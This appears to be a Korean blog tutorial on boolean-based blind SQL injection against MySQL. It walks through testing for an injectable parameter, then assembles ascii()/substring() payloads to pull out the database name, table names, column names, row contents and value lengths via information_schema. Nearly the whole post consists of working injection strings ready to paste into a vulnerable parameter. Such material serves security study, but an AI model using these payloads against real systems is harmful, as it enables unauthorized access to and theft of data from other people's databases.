Blind SQL Injection

 

 

 

 

블라인드 sql 인젝션은 사실상 sql 인젝션이 통하면 블라인드 sql은 어디서나 통하지만 시간이 걸린다.

 

 

포인트 찾기

aaa' and '1'='1 참
aaa' and '1'='2 거짓

넣어보고 결과 다르면 sql 가능

 

 

select 문구 사용 가능한지 체크

aaa' and ('1'='1') and '1'='1 참
aaa' and ((select 'test')='test') and '1'='1 참

 

 

공격 포맷 만들기에 앞서 substring 간단 설명

substring('test',1,1) = 't'
substring('test',1,2) = 'te'
substring('test',2,1) = 'e'

 

 

공격 포맷 만들기에 앞서 ascii 간단 설명

ascii(‘a’) = 97

ascii(substring((sql빈칸),1,1)) > 0 참

 

 

공격 포맷 만들기

substring과 sql 합치면

substring((select 'test'),1,1) = 't'

 

 

아까 만들었던 select 문과 합치면

aaa' and (substring((select 'test'),1,1) = 't') and'1'='1

 

 

ascii와 합치면 공격 포맷 완성

aaa' and (ascii(substring((sql빈칸),1,1)) > 0) and '1'='1

aaa’ and (조건 빈칸) and’1’=’1 안에

ascii(빈칸) = 0 이거 넣고

substring((sql 빈칸),1,1) 넣으면 위의 식이 완성된다.

 

 

db 추출

aaa’ and (ascii(substring((sql 빈칸),1,1)) > 0) and ‘1’=’1 을 활용해 sql 빈칸 안에 select database()를 넣으면 첫 번째 글자 유추할 수 있다.

aaa' and (ascii(substring((select database()),1,1)) > 0) and '1'='1

 

 

테이블 추출

똑같이 공격 포맷을 활용해 sql 빈칸에 select table_name from information_schema.tables where table_schema =’db 이름’ limit 0,1 넣으면

aaa' and (ascii(substring((select table_name from information_schema.tables 
where table_schema =’db이름’ limit 0,1),1,1)) > 0) and '1'='1

테이블 첫 번째 글자 유추 가능

 

 

컬럼 추출

똑같이 공격 포맷을 활용해 sql 빈칸에 select column_name from information_schema.columns where table_name=’테이블명’

aaa' and (ascii(substring((select column_name from information_schema.columns 
where table_name=’테이블명’),1,1)) > 0) and '1'='1

을 넣으면 첫 번째 컬럼 첫 번째 글자 유추 가능

 

 

컬럼 내용 추출

select 컬럼 from 테이블명

aaa' and (ascii(substring((select 컬럼 from 테이블 명),1,1)) > 0) and '1'='1

 

 

추가적으로 글자 수 알아내는 법

aaa' and (sql 빈칸)) = 9 and '1'='1 9글자

 

aaa' and (select length(database())) = 9 and '1'='1 9글자

 

 

 

답글 남기기

이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다